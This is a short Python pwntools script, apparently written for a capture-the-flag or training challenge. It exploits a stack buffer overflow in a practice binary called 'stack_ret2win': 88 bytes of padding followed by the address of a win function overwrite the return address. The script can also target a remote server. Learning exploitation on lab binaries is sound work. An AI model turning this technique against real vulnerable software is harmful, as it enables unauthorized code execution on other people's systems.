from pwn import *

# Allows you to switch between local/GDB/remote from terminal


def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)


# Specify GDB script here (breakpoints etc)
gdbscript = '''
init-pwndbg
continue
'''.format(**locals())

# Binary filename
exe = './stack_ret2win'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Change logging level to help with debugging (error/warning/info/debug)
context.log_level = 'debug'

# ===========================================================
#                    EXPLOIT GOES HERE
# ===========================================================

offset = 88  # Offset to EIP/RIP, found with GDB

io = start()  # Start program

io.recvline()

# Build the payload
payload = flat([
    b'A' * 88,  # Fill up the 64 byte buffer
    elf.functions.complete_level  # Overwrite the return address
])

# Write payload to file for easy reuse
write('payload', payload)

# Exploit
io.sendline(payload)

# Flag.. Shell.. Something?!
io.recvline()
print(io.recvline())
